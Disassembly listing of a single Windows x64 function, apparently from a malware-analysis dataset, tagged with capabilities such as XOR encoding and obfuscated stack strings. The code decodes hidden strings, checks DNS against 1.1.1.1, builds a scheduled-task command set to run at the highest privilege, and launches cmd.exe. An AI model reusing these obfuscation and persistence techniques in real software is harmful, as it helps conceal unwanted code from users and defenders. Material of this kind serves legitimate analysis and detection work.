Function at 0x140008280
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Reference cloudflare dns server

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
xor ebx, ebx
mov dword [rbp + 0x5f0], ebx
cmp dword [0x14001daf8], ebx
je 0x140009783
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], 0xf
lea ecx, [rbx + 0x20]
call fcn.1400113fc
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x118], 0x18
mov qword [rbp + 0x120], 0x1f
movups xmm0, xmmword [str.dns.ms_api_microsoft.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140016d70]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], 7
mov qword [rbp + 0x160], 0xf
mov rax, qword [str.1.1.1.1]
mov dword [rbp + 0x148], eax
movzx eax, word [0x140016d5c]
mov word [rbp + 0x14c], ax
movzx eax, byte [0x140016d5e]
mov byte [rbp + 0x14e], al
mov byte [rbp + 0x14f], bl
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1a8]
call fcn.14000d850
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000837e
mov rcx, qword [rax]
mov r8, qword [rax + 0x10]
cmp r8, 7
jne 0x14000839d
lea rdx, [rbp + 0x148]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000839d
xor r15b, r15b
jmp 0x1400083a0
mov r15b, 1
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x1400083e4
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400083df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x1b8], xmm0
mov byte [rbp + 0x1a8], 0
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140008458
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008453
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], 0
mov byte [rbp - 0x68], 0x5d
mov byte [rbp - 0x67], 0x2f
mov byte [rbp - 0x66], 0x5f
mov byte [rbp - 0x65], 0x22
mov byte [rbp - 0x64], 0x76
mov byte [rbp - 0x63], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x62], 0x7b
mov byte [rbp - 0x61], 0x22
mov byte [rbp - 0x60], 0x6e
mov byte [rbp - 0x5f], WSACleanup
mov byte [rbp - 0x5e], 0x63
mov byte [rbp - 0x5d], 0x66
mov byte [rbp - 0x5c], 0x6b
mov byte [rbp - 0x5b], WSAStartup
mov byte [rbp - 0x5a], 0x69
mov byte [rbp - 0x59], 0x22
mov byte [rbp - 0x58], 0x79
mov byte [rbp - 0x57], 0x67
mov byte [rbp - 0x56], 0x69
mov byte [rbp - 0x55], 0x63
mov byte [rbp - 0x54], 0x6f
mov byte [rbp - 0x53], 0x67
mov byte [rbp - 0x52], 0x61
mov byte [rbp - 0x51], 0x75
mov byte [rbp - 0x50], 0x67
mov byte [rbp - 0x4f], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x4e], 0x78
mov byte [rbp - 0x4d], 0x6b
mov byte [rbp - 0x4c], 0x65
mov byte [rbp - 0x4b], 0x67
mov byte [rbp - 0x4a], 0x30
mov byte [rbp - 0x49], 0x67
mov byte [rbp - 0x48], 0x7a
mov byte [rbp - 0x47], 0x67
mov byte [rbp - 0x46], 0
movzx eax, byte [rbp - 0x68]
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp + rcx - 0x68]
sub al, 2
mov byte [rbp + rcx - 0x68], al
inc rcx
cmp rcx, 0x22
jb 0x140008510
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x2c8]
call fcn.1400036f0
mov rcx, rax
call fcn.14000ca10
mov dword [rbp + 0x70], 0xb
mov byte [rbp + 0x74], 0x48
mov byte [rbp + 0x75], 0x31
mov byte [rbp + 0x76], 0x57
mov byte [rbp + 0x77], 0x5b
mov byte [rbp + 0x78], 0x79
mov byte [rbp + 0x79], 0x64
mov byte [rbp + 0x7a], 0x6c
mov byte [rbp + 0x7b], 0x79
mov byte [rbp + 0x7c], 0x6a
mov byte [rbp + 0x7d], 0x66
mov byte [rbp + 0x7e], 0x2b
mov byte [rbp + 0x7f], 0x4d
mov byte [rbp + 0x80], 0x62
mov byte [rbp + 0x81], 0x67
mov byte [rbp + 0x82], WSACleanup
mov byte [rbp + 0x83], 0x78
mov byte [rbp + 0x84], 0x2b
mov byte [rbp + 0x85], 0x23
mov byte [rbp + 0x86], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x87], 0x33
mov byte [rbp + 0x88], 0x3d
mov byte [rbp + 0x89], 0x22
mov byte [rbp + 0x8a], 0x57
mov byte [rbp + 0x8b], 0x5c
mov byte [rbp + 0x8c], WSACleanup
mov byte [rbp + 0x8d], 0x6c
mov byte [rbp + 0x8e], 0x6a
mov byte [rbp + 0x8f], 0x66
mov byte [rbp + 0x90], WSACleanup
mov byte [rbp + 0x91], 0x57
mov byte [rbp + 0x92], 0x7c
mov byte [rbp + 0x93], WSACleanup
mov byte [rbp + 0x94], 0x6c
mov byte [rbp + 0x95], 0x6a
mov byte [rbp + 0x96], 0x66
mov byte [rbp + 0x97], WSACleanup
mov byte [rbp + 0x98], 0x54
mov byte [rbp + 0x99], 0x78
mov byte [rbp + 0x9a], WSACleanup
mov byte [rbp + 0x9b], 0x79
mov byte [rbp + 0x9c], 0x7d
mov byte [rbp + 0x9d], 0x62
mov byte [rbp + 0x9e], 0x68
mov byte [rbp + 0x9f], WSACleanup
mov byte [rbp + 0xa0], 0x25
mov byte [rbp + 0xa1], WSACleanup
mov byte [rbp + 0xa2], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa3], WSACleanup
xor eax, eax
mov byte [rbp + 0xa4], al
movzx eax, byte [rbp + 0x74]
mov rdx, rbx
nop
movzx eax, byte [rbp + rdx + 0x74]
mov ecx, dword [rbp + 0x70]
xor cl, al
mov byte [rbp + rdx + 0x74], cl
inc rdx
cmp rdx, 0x30
jb 0x140008680
mov byte [rbp + 0xa4], 0
lea rdx, [rbp + 0x74]
lea rcx, [rbp + 0xa8]
call fcn.1400036f0
nop
mov byte [rsp + 0x70], 0x7b
mov byte [rsp + 0x71], 0x69
mov byte [rsp + 0x72], 0x6b
mov byte [rsp + 0x73], 0x65
mov byte [rsp + 0x74], WSACleanup
mov byte [rsp + 0x75], 0x69
mov byte [rsp + 0x76], 0x63
mov byte [rsp + 0x77], 0x77
mov byte [rsp + 0x78], 0x69
mov byte [rsp + 0x79], 0x76
mov byte [rsp + 0x7a], 0x7a
mov byte [rsp + 0x7b], 0x6d
mov byte [rsp + 0x7c], 0x67
mov byte [rsp + 0x7d], 0x69
mov byte [rsp + 0x7e], 0x32
mov byte [rsp + 0x7f], 0x69
mov byte [rbp - 0x80], 0x7c
mov byte [rbp - 0x7f], 0x69
mov byte [rbp - 0x7e], 0
movzx eax, byte [rsp + 0x70]
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x70]
sub al, 4
mov byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0x12
jb 0x140008720
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x2a8]
call fcn.1400036f0
nop
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x228]
call fcn.14000dfc0
mov r12, rax
lea rcx, [rbp + 0x208]
call fcn.14000db10
nop
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.14000d0c0
mov r8, rax
mov dword [rbp - 0x18], 0x14
mov byte [rbp - 0x14], 0x3b
mov byte [rbp - 0x13], 0x77
mov byte [rbp - 0x12], 0x34
mov byte [rbp - 0x11], 0x47
mov byte [rbp - 0x10], 0x57
mov byte [rbp - 0xf], 0x5c
mov byte [rbp - 0xe], 0x40
mov byte [rbp - 0xd], 0x55
mov byte [rbp - 0xc], 0x47
mov byte [rbp - 0xb], 0x5f
mov byte [rbp - 0xa], 0x47
mov byte [rbp - 9], 0x34
mov byte [rbp - 8], 0x3b
mov byte [rbp - 7], 0x57
mov byte [rbp - 6], 0x66
mov byte [rbp - 5], WSACleanup
mov byte [rbp - 4], 0x75
mov byte [rbp - 3], 0x60
mov byte [rbp - 2], WSACleanup
mov byte [rbp - 1], 0x34
mov byte [rbp], 0x3b
mov byte [rbp + 1], 0x52
mov byte [rbp + 2], 0x34
mov byte [rbp + 3], 0x3b
mov byte [rbp + 4], 0x40
mov byte [rbp + 5], 0x5a
mov byte [rbp + 6], 0x34
mov byte [rbp + 7], 0x36
mov byte [rbp + 8], 0x48
mov byte [rbp + 9], 0x44
mov byte [rbp + 0xa], 0x75
mov byte [rbp + 0xb], 0x6d
mov byte [rbp + 0xc], 0x78
mov byte [rbp + 0xd], 0x7b
mov byte [rbp + 0xe], 0x75
mov byte [rbp + 0xf], WSAStartup
mov byte [rbp + 0x10], 0x40
mov byte [rbp + 0x11], 0x75
mov byte [rbp + 0x12], 0x67
mov byte [rbp + 0x13], 0x7f
mov byte [rbp + 0x14], 0x36
mov byte [rbp + 0x15], 0x34
mov byte [rbp + 0x16], 0x3b
mov byte [rbp + 0x17], 0x46
mov byte [rbp + 0x18], 0x41
mov byte [rbp + 0x19], 0x34
xor eax, eax
mov byte [rbp + 0x1a], al
movzx eax, byte [rbp - 0x14]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x14]
mov ecx, dword [rbp - 0x18]
xor cl, al
mov byte [rbp + rdx - 0x14], cl
inc rdx
cmp rdx, 0x2e
jb 0x140008850
mov byte [rbp + 0x1a], 0
lea rdx, [rbp - 0x14]
lea rcx, [rbp + 0x1c8]
call fcn.140004c90
mov rdi, rax
mov rsi, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, rsi
cmp rax, 0x26
jb 0x1400088c4
lea rax, [rsi + 0x26]
mov qword [rdi + 0x10], rax
mov r14, rdi
cmp rcx, 0xf
jbe 0x1400088a6
mov r14, qword [rdi]
lea rcx, [r14 + rsi]
mov r8d, 0x26
lea rdx, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rsi + 0x26], 0
jmp 0x1400088e4
mov qword [rsp + 0x20], 0x26
lea r9, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov edx, 0x26
mov rcx, rdi
call fcn.140003390
mov rdi, rax
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov r9, r12
lea r8, [rbp + 0x168]
lea rcx, [rbp + 0x188]
call fcn.1400097c0
mov dword [rbp + 0x5f0], 6
mov dword [rbp + 0x1c], 0x4e
mov byte [rbp + 0x20], 0x12
mov byte [rbp + 0x21], 0x6c
mov byte [rbp + 0x22], 0x6c
mov byte [rbp + 0x23], 0x6e
mov byte [rbp + 0x24], 0x68
mov byte [rbp + 0x25], 0x6e
mov byte [rbp + 0x26], 0x1d
mov byte [rbp + 0x27], 0xd
mov byte [rbp + 0x28], 6
mov byte [rbp + 0x29], 0x1a
mov byte [rbp + 0x2a], 0xf
mov byte [rbp + 0x2b], 0x1d
mov byte [rbp + 0x2c], 5
mov byte [rbp + 0x2d], 0x1d
mov byte [rbp + 0x2e], 0x6e
mov byte [rbp + 0x2f], 0x61
mov byte [rbp + 0x30], 0x1c
mov byte [rbp + 0x31], 0x3b
mov byte [rbp + 0x32], 0x20
mov byte [rbp + 0x33], 0x6e
mov byte [rbp + 0x34], 0x61
mov byte [rbp + 0x35], 0x1a
mov byte [rbp + 0x36], 0
mov byte [rbp + 0x37], 0x6e
mov byte [rbp + 0x38], 0x6c
mov byte [rbp + 0x39], 0x12
mov byte [rbp + 0x3a], 0x1e
mov byte [rbp + 0x3b], 0x2f
mov byte [rbp + 0x3c], 0x37
mov byte [rbp + 0x3d], 0x22
mov byte [rbp + 0x3e], 0x21
mov byte [rbp + 0x3f], 0x2f
mov byte [rbp + 0x40], 0x2a
mov byte [rbp + 0x41], 0x1a
mov byte [rbp + 0x42], 0x2f
mov byte [rbp + 0x43], 0x3d
mov byte [rbp + 0x44], 0x25
mov byte [rbp + 0x45], 0x6c
mov byte [rbp + 0x46], 0x6e
mov byte [rbp + 0x47], 0x68
mov byte [rbp + 0x48], 0x6e
mov byte [rbp + 0x49], 0x3d
mov byte [rbp + 0x4a], 0x2d
mov byte [rbp + 0x4b], 0x26
mov byte [rbp + 0x4c], 0x3a
mov byte [rbp + 0x4d], 0x2f
mov byte [rbp + 0x4e], 0x3d
mov byte [rbp + 0x4f], 0x25
mov byte [rbp + 0x50], 0x3d
mov byte [rbp + 0x51], 0x6e
mov byte [rbp + 0x52], 0x61
mov byte [rbp + 0x53], 0xa
mov byte [rbp + 0x54], 0x2b
mov byte [rbp + 0x55], 0x22
mov byte [rbp + 0x56], 0x2b
mov byte [rbp + 0x57], 0x3a
mov byte [rbp + 0x58], 0x2b
mov byte [rbp + 0x59], 0x6e
mov byte [rbp + 0x5a], 0x61
mov byte [rbp + 0x5b], 0x1a
mov byte [rbp + 0x5c], 0
mov byte [rbp + 0x5d], 0x6e
mov byte [rbp + 0x5e], 0x6c
mov byte [rbp + 0x5f], 0x12
mov byte [rbp + 0x60], 0x1e
mov byte [rbp + 0x61], 0x2f
mov byte [rbp + 0x62], 0x37
mov byte [rbp + 0x63], 0x22
mov byte [rbp + 0x64], 0x21
mov byte [rbp + 0x65], 0x2f
mov byte [rbp + 0x66], 0x2a
mov byte [rbp + 0x67], 0x1a
mov byte [rbp + 0x68], 0x2f
mov byte [rbp + 0x69], 0x3d
mov byte [rbp + 0x6a], 0x25
mov byte [rbp + 0x6b], 0x6c
mov byte [rbp + 0x6c], 0x6e
mov byte [rbp + 0x6d], 0x61
mov byte [rbp + 0x6e], 8
xor eax, eax
mov byte [rbp + 0x6f], al
movzx eax, byte [rbp + 0x20]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x20]
mov ecx, dword [rbp + 0x1c]
xor cl, al
mov byte [rbp + rdx + 0x20], cl
inc rdx
cmp rdx, 0x4f
jb 0x140008a80
mov byte [rbp + 0x6f], 0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x188]
call fcn.1400030f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x140008b28
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x140008b83
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x178], xmm0
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x140008bde
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x1d8], xmm0
mov byte [rbp + 0x1c8], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x140008c39
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x220]
cmp rdx, 7
jbe 0x140008c99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f40]
movdqu xmmword [rbp + 0x218], xmm0
mov word [rbp + 0x208], bx
mov rdx, qword [rbp + 0x240]
cmp rdx, 0xf
jbe 0x140008cf4
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x238], xmm0
mov byte [rbp + 0x228], 0
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x248]
call fcn.14000cf90
nop
mov dword [rbp + 0x5f0], 0xf
cmp qword [rax + 0x18], 7
jbe 0x140008d33
mov rax, qword [rax]
lea rdx, [rbp + 0x370]
mov rcx, rax
call qword [0x14001ddf0]
cmp rax, 0xffffffffffffffff
jne 0x140008daf
mov rcx, rax
call qword [0x14001de58]
xor dil, dil
mov dword [rbp + 0x5f0], 0xe
mov rdx, qword [rbp + 0x260]
cmp rdx, 7
jbe 0x140008eed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ee8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ee8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call qword [0x14001de58]
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rbx
mov qword [rbp + 0x140], rbx
lea r14, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova r14, qword [rbp + 0xa8]
mov rsi, qword [rbp + 0xb8]
movabs rdi, 0x7fffffffffffffff
cmp rsi, rdi
ja 0x1400097a9
mov qword [rbp + 0x140], 0xf
cmp rsi, 0xf
ja 0x140008e29
mov qword [rbp + 0x138], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x128], xmm0
jmp 0x140008ec6
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x140008e61
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400113fc
mov rcx, rax
test rax, rax
je 0x140008e8c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008ea2
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140008e93
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400097af
jmp 0x140008e43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140008e9f
call fcn.1400113fc
jmp 0x140008ea2
mov rax, rbx
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x140], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x128]
call fcn.14000d6e0
comisd xmm0, xmmword [0x140017f20]
jbe 0x140008d52
mov dil, 1
jmp 0x140008d55
call fcn.140011438
movdqa xmm0, xmmword [0x140017f40]
movdqu xmmword [rbp + 0x258], xmm0
mov word [rbp + 0x248], bx
test dil, dil
je 0x1400091a0
lea r9, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r9, qword [rbp + 0xc8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
lea rdx, [0x140016ce0]
xor ecx, ecx
call qword [0x14001dea0]
mov dword [rsp + 0x30], 0x77
mov eax, dword [rsp + 0x30]
xor al, 0x5b
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x2d
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x5d
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x20
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, 4
xor al, 0x6c
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x6f
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x61
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x64
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x65
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x64
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x20
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x77
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x30]
add al, 0xd
xor al, 0x67
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x30]
add al, 0xe
xor al, 0x61
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x30]
add al, 0xf
xor al, 0x6d
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x30]
add al, 0x10
xor al, 0x65
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x30]
add al, 0x11
xor al, 0x5f
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x30]
add al, 0x12
xor al, 0x73
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x30]
add al, 0x13
xor al, 0x65
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x30]
add al, 0x14
xor al, 0x72
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x30]
add al, 0x15
xor al, 0x76
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x30]
add al, 0x16
xor al, 0x69
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x30]
add al, 0x17
xor al, 0x63
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x30]
add al, 0x18
xor al, 0x65
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x30]
add al, 0x19
xor al, 0x2e
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x30]
add al, 0x1a
xor al, 0x65
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x30]
add al, 0x1b
xor al, 0x78
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x30]
add al, 0x1c
xor al, 0x65
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x30]
add al, 0x1d
xor al, 0x20
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x30]
add al, 0x1e
xor al, 0x66
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x30]
add al, 0x1f
xor al, 0x72
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x30]
add al, 0x20
xor al, 0x6f
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x30]
add al, 0x21
xor al, 0x6d
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x30]
add al, 0x22
xor al, 0x20
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x30]
add al, 0x23
xor al, 0x6c
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x30]
add al, 0x24
xor al, 0x6f
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x30]
add al, 0x25
xor al, 0x63
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x30]
add al, 0x26
xor al, 0x61
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x30]
add al, 0x27
xor al, 0x6c
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x30]
add al, 0x28
xor al, 0x20
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x30]
add al, 0x29
xor al, 0x64
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x30]
add al, 0x2a
xor al, 0x69
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x30]
add al, 0x2b
xor al, 0x73
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x30]
add al, 0x2c
xor al, 0x6b
mov byte [rsp + 0x60], al
xor eax, eax
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x34]
movzx eax, byte [rsp + rbx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, bl
xor cl, al
mov byte [rsp + rbx + 0x34], cl
inc rbx
cmp rbx, 0x2d
jb 0x140009170
mov byte [rsp + 0x61], 0
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x2e8]
jmp 0x14000968f
test r15b, r15b
je 0x1400091b5
mov ecx, 0x493e0
call qword [0x14001df50]
jmp 0x14000969d
lea rax, [rbp + 0x308]
mov qword [rbp + 0x5f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0xe8]
call fcn.14000ee30
mov dword [rbp + 0x5f0], 0x1e
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 7
cmova r9, qword [rbp + 0xe8]
lea r10, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova r10, qword [rbp + 0xa8]
add r10, qword [rbp + 0xb8]
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov r8, rbx
mov rcx, r10
sub rcx, rdx
cmp rdx, r10
cmova rcx, rbx
test rcx, rcx
je 0x1400092e0
cmp rcx, 0x20
jb 0x1400092e0
lea r11, [r9 - 2]
lea r11, [r11 + rcx*2]
lea rax, [rdx - 1]
add rax, rcx
cmp r9, rax
ja 0x14000927d
cmp r11, rdx
jae 0x1400092e0
and rcx, 0xffffffffffffffe0
movq xmm0, qword [rdx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9], xmm0
movq xmm0, qword [rdx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x10], xmm0
movq xmm0, qword [rdx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x20], xmm0
movq xmm0, qword [rdx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x30], xmm0
add r9, 0x40
add rdx, 0x20
add r8, 0x20
cmp r8, rcx
jne 0x140009281
cmp rdx, r10
